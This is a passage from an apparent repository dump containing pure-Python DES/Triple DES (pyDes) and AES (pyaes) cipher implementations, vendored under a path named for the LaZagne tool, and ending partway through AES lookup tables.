self.R[36:42], self.R[42:]]\n            # Optimization: Replaced below commented code with above\n            #j = 0\n            #B = []\n            #while j < len(self.R):\n            #   self.R[j] = self.R[j] ^ self.Kn[iteration][j]\n            #   j += 1\n            #   if j % 6 == 0:\n            #       B.append(self.R[j-6:j])\n\n            # Permutate B[1] to B[8] using the S-Boxes\n            j = 0\n            Bn = [0] * 32\n            pos = 0\n            while j < 8:\n                # Work out the offsets\n                m = (B[j][0] << 1) + B[j][5]\n                n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]\n\n                # Find the permutation value\n                v = des.__sbox[j][(m << 4) + n]\n\n                # Turn value into bits, add it to result: Bn\n                Bn[pos] = (v & 8) >> 3\n                Bn[pos + 1] = (v & 4) >> 2\n                Bn[pos + 2] = (v & 2) >> 1\n                Bn[pos + 3] = v & 1\n\n                pos += 4\n                j += 1\n\n            # Permutate the concatination of B[1] to B[8] (Bn)\n            self.R = self.__permutate(des.__p, Bn)\n\n            # Xor with L[i - 1]\n            self.R = list(map(lambda x, y: x ^ y, self.R, self.L))\n            # Optimization: This now replaces the below commented code\n            #j = 0\n            #while j < len(self.R):\n            #   self.R[j] = self.R[j] ^ self.L[j]\n            #   j += 1\n\n            # L[i] becomes R[i - 1]\n            self.L = tempR\n\n            i += 1\n            iteration += iteration_adjustment\n        \n        # Final permutation of R[16]L[16]\n        self.final = self.__permutate(des.__fp, self.R + self.L)\n        return self.final\n\n\n    # Data to be encrypted/decrypted\n    def crypt(self, data, crypt_type):\n        \"\"\"Crypt the data in blocks, running it through des_crypt()\"\"\"\n\n        # Error check the data\n        if not data:\n            return ''\n        if len(data) % self.block_size != 0:\n            if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks\n                raise ValueError(\"Invalid data length, data must be a multiple of \" + str(self.block_size) + \" bytes\\n.\")\n            if not self.getPadding():\n                raise ValueError(\"Invalid data length, data must be a multiple of \" + str(self.block_size) + \" bytes\\n. Try setting the optional padding character\")\n            else:\n                data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()\n            # print \"Len of data: %f\" % (len(data) / self.block_size)\n\n        if self.getMode() == CBC:\n            if self.getIV():\n                iv = self.__String_to_BitList(self.getIV())\n            else:\n                raise ValueError(\"For CBC mode, you must supply the Initial Value (IV) for ciphering\")\n\n        # Split the data into blocks, crypting each one seperately\n        i = 0\n        dict = {}\n        result = []\n        #cached = 0\n        #lines = 0\n        while i < len(data):\n            # Test code for caching encryption results\n            #lines += 1\n            #if dict.has_key(data[i:i+8]):\n                #print \"Cached result for: %s\" % data[i:i+8]\n            #   cached += 1\n            #   result.append(dict[data[i:i+8]])\n            #   i += 8\n            #   continue\n                \n            block = self.__String_to_BitList(data[i:i+8])\n\n            # Xor with IV if using CBC mode\n            if self.getMode() == CBC:\n                if crypt_type == des.ENCRYPT:\n                    block = list(map(lambda x, y: x ^ y, block, iv))\n                    #j = 0\n                    #while j < len(block):\n                    #   block[j] = block[j] ^ iv[j]\n                    #   j += 1\n\n                processed_block = self.__des_crypt(block, crypt_type)\n\n                if crypt_type == des.DECRYPT:\n                    processed_block = list(map(lambda x, y: x ^ y, processed_block, iv))\n                    #j = 0\n                    #while j < len(processed_block):\n                    #   processed_block[j] = processed_block[j] ^ iv[j]\n                    #   j += 1\n                    iv = block\n                else:\n                    iv = processed_block\n            else:\n                processed_block = self.__des_crypt(block, crypt_type)\n\n\n            # Add the resulting crypted block to our list\n            #d = self.__BitList_to_String(processed_block)\n            #result.append(d)\n            result.append(self.__BitList_to_String(processed_block))\n            #dict[data[i:i+8]] = d\n            i += 8\n\n        # print \"Lines: %d, cached: %d\" % (lines, cached)\n\n        # Return the full crypted string\n        if _pythonMajorVersion < 3:\n            return ''.join(result)\n        else:\n            return bytes.fromhex('').join(result)\n\n    def encrypt(self, data, pad=None, padmode=None):\n        \"\"\"encrypt(data, [pad], [padmode]) -> bytes\n\n        data : Bytes to be encrypted\n        pad  : Optional argument for encryption padding. Must only be one byte\n        padmode : Optional argument for overriding the padding mode.\n\n        The data must be a multiple of 8 bytes and will be encrypted\n        with the already specified key. Data does not have to be a\n        multiple of 8 bytes if the padding character is supplied, or\n        the padmode is set to PAD_PKCS5, as bytes will then added to\n        ensure the be padded data is a multiple of 8 bytes.\n        \"\"\"\n        data = self._guardAgainstUnicode(data)\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        data = self._padData(data, pad, padmode)\n        return self.crypt(data, des.ENCRYPT)\n\n    def decrypt(self, data, pad=None, padmode=None):\n        \"\"\"decrypt(data, [pad], [padmode]) -> bytes\n\n        data : Bytes to be decrypted\n        pad  : Optional argument for decryption padding. Must only be one byte\n        padmode : Optional argument for overriding the padding mode.\n\n        The data must be a multiple of 8 bytes and will be decrypted\n        with the already specified key. In PAD_NORMAL mode, if the\n        optional padding character is supplied, then the un-encrypted\n        data will have the padding characters removed from the end of\n        the bytes. This pad removal only occurs on the last 8 bytes of\n        the data (last data block). In PAD_PKCS5 mode, the special\n        padding end markers will be removed from the data after decrypting.\n        \"\"\"\n        data = self._guardAgainstUnicode(data)\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        data = self.crypt(data, des.DECRYPT)\n        return self._unpadData(data, pad, padmode)\n\n\n\n#############################################################################\n#               Triple DES                  #\n#############################################################################\nclass triple_des(_baseDes):\n    \"\"\"Triple DES encryption/decrytpion class\n\n    This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or\n    the DES-EDE2 (when a 16 byte key is supplied) encryption methods.\n    Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.\n\n    pyDes.des(key, [mode], [IV])\n\n    key  -> Bytes containing the encryption key, must be either 16 or\n            24 bytes long\n    mode -> Optional argument for encryption type, can be either pyDes.ECB\n        (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)\n    IV   -> Optional Initial Value bytes, must be supplied if using CBC mode.\n        Must be 8 bytes in length.\n    pad  -> Optional argument, set the pad character (PAD_NORMAL) to use\n        during all encrypt/decrypt operations done with this instance.\n    padmode -> Optional argument, set the padding mode (PAD_NORMAL or\n        PAD_PKCS5) to use during all encrypt/decrypt operations done\n        with this instance.\n    \"\"\"\n    def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):\n        _baseDes.__init__(self, mode, IV, pad, padmode)\n        self.setKey(key)\n\n    def setKey(self, key):\n        \"\"\"Will set the crypting key for this object. Either 16 or 24 bytes long.\"\"\"\n        self.key_size = 24  # Use DES-EDE3 mode\n        if len(key) != self.key_size:\n            if len(key) == 16: # Use DES-EDE2 mode\n                self.key_size = 16\n            else:\n                raise ValueError(\"Invalid triple DES key size. Key must be either 16 or 24 bytes long\")\n        if self.getMode() == CBC:\n            if not self.getIV():\n                # Use the first 8 bytes of the key\n                self._iv = key[:self.block_size]\n            if len(self.getIV()) != self.block_size:\n                raise ValueError(\"Invalid IV, must be 8 bytes in length\")\n        self.__key1 = des(key[:8], self._mode, self._iv,\n                  self._padding, self._padmode)\n        self.__key2 = des(key[8:16], self._mode, self._iv,\n                  self._padding, self._padmode)\n        if self.key_size == 16:\n            self.__key3 = self.__key1\n        else:\n            self.__key3 = des(key[16:], self._mode, self._iv,\n                      self._padding, self._padmode)\n        _baseDes.setKey(self, key)\n\n    # Override setter methods to work on all 3 keys.\n\n    def setMode(self, mode):\n        \"\"\"Sets the type of crypting mode, pyDes.ECB or pyDes.CBC\"\"\"\n        _baseDes.setMode(self, mode)\n        for key in (self.__key1, self.__key2, self.__key3):\n            key.setMode(mode)\n\n    def setPadding(self, pad):\n        \"\"\"setPadding() -> bytes of length 1. Padding character.\"\"\"\n        _baseDes.setPadding(self, pad)\n        for key in (self.__key1, self.__key2, self.__key3):\n            key.setPadding(pad)\n\n    def setPadMode(self, mode):\n        \"\"\"Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5\"\"\"\n        _baseDes.setPadMode(self, mode)\n        for key in (self.__key1, self.__key2, self.__key3):\n            key.setPadMode(mode)\n\n    def setIV(self, IV):\n        \"\"\"Will set the Initial Value, used in conjunction with CBC mode\"\"\"\n        _baseDes.setIV(self, IV)\n        for key in (self.__key1, self.__key2, self.__key3):\n            key.setIV(IV)\n\n    def encrypt(self, data, pad=None, padmode=None):\n        \"\"\"encrypt(data, [pad], [padmode]) -> bytes\n\n        data : bytes to be encrypted\n        pad  : Optional argument for encryption padding. Must only be one byte\n        padmode : Optional argument for overriding the padding mode.\n\n        The data must be a multiple of 8 bytes and will be encrypted\n        with the already specified key. Data does not have to be a\n        multiple of 8 bytes if the padding character is supplied, or\n        the padmode is set to PAD_PKCS5, as bytes will then added to\n        ensure the be padded data is a multiple of 8 bytes.\n        \"\"\"\n        ENCRYPT = des.ENCRYPT\n        DECRYPT = des.DECRYPT\n        data = self._guardAgainstUnicode(data)\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        # Pad the data accordingly.\n        data = self._padData(data, pad, padmode)\n        if self.getMode() == CBC:\n            self.__key1.setIV(self.getIV())\n            self.__key2.setIV(self.getIV())\n            self.__key3.setIV(self.getIV())\n            i = 0\n            result = []\n            while i < len(data):\n                block = self.__key1.crypt(data[i:i+8], ENCRYPT)\n                block = self.__key2.crypt(block, DECRYPT)\n                block = self.__key3.crypt(block, ENCRYPT)\n                self.__key1.setIV(block)\n                self.__key2.setIV(block)\n                self.__key3.setIV(block)\n                result.append(block)\n                i += 8\n            if _pythonMajorVersion < 3:\n                return ''.join(result)\n            else:\n                return bytes.fromhex('').join(result)\n        else:\n            data = self.__key1.crypt(data, ENCRYPT)\n            data = self.__key2.crypt(data, DECRYPT)\n            return self.__key3.crypt(data, ENCRYPT)\n\n    def decrypt(self, data, pad=None, padmode=None):\n        \"\"\"decrypt(data, [pad], [padmode]) -> bytes\n\n        data : bytes to be encrypted\n        pad  : Optional argument for decryption padding. Must only be one byte\n        padmode : Optional argument for overriding the padding mode.\n\n        The data must be a multiple of 8 bytes and will be decrypted\n        with the already specified key. In PAD_NORMAL mode, if the\n        optional padding character is supplied, then the un-encrypted\n        data will have the padding characters removed from the end of\n        the bytes. This pad removal only occurs on the last 8 bytes of\n        the data (last data block). In PAD_PKCS5 mode, the special\n        padding end markers will be removed from the data after\n        decrypting, no pad character is required for PAD_PKCS5.\n        \"\"\"\n        ENCRYPT = des.ENCRYPT\n        DECRYPT = des.DECRYPT\n        data = self._guardAgainstUnicode(data)\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        if self.getMode() == CBC:\n            self.__key1.setIV(self.getIV())\n            self.__key2.setIV(self.getIV())\n            self.__key3.setIV(self.getIV())\n            i = 0\n            result = []\n            while i < len(data):\n                iv = data[i:i+8]\n                block = self.__key3.crypt(iv,    DECRYPT)\n                block = self.__key2.crypt(block, ENCRYPT)\n                block = self.__key1.crypt(block, DECRYPT)\n                self.__key1.setIV(iv)\n                self.__key2.setIV(iv)\n                self.__key3.setIV(iv)\n                result.append(block)\n                i += 8\n            if _pythonMajorVersion < 3:\n                data = ''.join(result)\n            else:\n                data = bytes.fromhex('').join(result)\n        else:\n            data = self.__key3.crypt(data, DECRYPT)\n            data = self.__key2.crypt(data, ENCRYPT)\n            data = self.__key1.crypt(data, DECRYPT)\n        return self._unpadData(data, pad, padmode)\n"
  },
  {
    "path": "Windows/lazagne/config/crypto/pyaes/__init__.py",
    "content": "# The MIT License (MIT)\n#\n# Copyright (c) 2014 Richard Moore\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n# This is a pure-Python implementation of the AES algorithm and AES common\n# modes of operation.\n\n# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\n# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation\n\n\n# Supported key sizes:\n#   128-bit\n#   192-bit\n#   256-bit\n\n\n# Supported modes of operation:\n#   ECB - Electronic Codebook\n#   CBC - Cipher-Block Chaining\n#   CFB - Cipher Feedback\n#   OFB - Output Feedback\n#   CTR - Counter\n\n# See the README.md for API details and general information.\n\n# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:\n# https://www.dlitz.net/software/pycrypto/\n\n\nVERSION = [1, 3, 0]\n\nfrom .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter\nfrom .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter\nfrom .blockfeeder import PADDING_NONE, PADDING_DEFAULT\n"
  },
  {
    "path": "Windows/lazagne/config/crypto/pyaes/aes.py",
    "content": "# The MIT License (MIT)\n#\n# Copyright (c) 2014 Richard Moore\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n# This is a pure-Python implementation of the AES algorithm and AES common\n# modes of operation.\n\n# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\n\n# Honestly, the best description of the modes of operations are the wonderful\n# diagrams on Wikipedia. They explain in moments what my words could never\n# achieve. Hence the inline documentation here is sparer than I'd prefer.\n# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation\n\n# Also useful, PyCrypto, a crypto library implemented in C with Python bindings:\n# https://www.dlitz.net/software/pycrypto/\n\n\n# Supported key sizes:\n#   128-bit\n#   192-bit\n#   256-bit\n\n\n# Supported modes of operation:\n#   ECB - Electronic Codebook\n#   CBC - Cipher-Block Chaining\n#   CFB - Cipher Feedback\n#   OFB - Output Feedback\n#   CTR - Counter\n\n\n# See the README.md for API details and general information.\n\n\nimport copy\nimport struct\n\n__all__ = [\"AES\", \"AESModeOfOperationCTR\", \"AESModeOfOperationCBC\", \"AESModeOfOperationCFB\",\n           \"AESModeOfOperationECB\", \"AESModeOfOperationOFB\", \"AESModesOfOperation\", \"Counter\"]\n\n\ndef _compact_word(word):\n    return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]\n\ndef _string_to_bytes(text):\n    return list(ord(c) for c in text)\n\ndef _bytes_to_string(binary):\n    return \"\".join(chr(b) for b in binary)\n\ndef _concat_list(a, b):\n    return a + b\n\n\n# Python 3 compatibility\ntry:\n    xrange\nexcept NameError:\n    xrange = range\n\n    # Python 3 supports bytes, which is already an array of integers\n    def _string_to_bytes(text):\n        if isinstance(text, bytes):\n            return text\n        return [ord(c) for c in text]\n\n    # In Python 3, we return bytes\n    def _bytes_to_string(binary):\n        return bytes(binary)\n\n    # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first\n    def _concat_list(a, b):\n        return a + bytes(b)\n\n\n# Based *largely* on the Rijndael implementation\n# See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf\nclass AES(object):\n    '''Encapsulates the AES block cipher.\n\n    You generally should not need this. Use the AESModeOfOperation classes\n    below instead.'''\n\n    # Number of rounds by keysize\n    number_of_rounds = {16: 10, 24: 12, 32: 14}\n\n    # Round constant words\n    rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]\n\n    # S-box and Inverse S-box (S is for Substitution)\n    S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ]\n    Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] \n\n    # Transformations for encryption\n    T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ]\n    T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 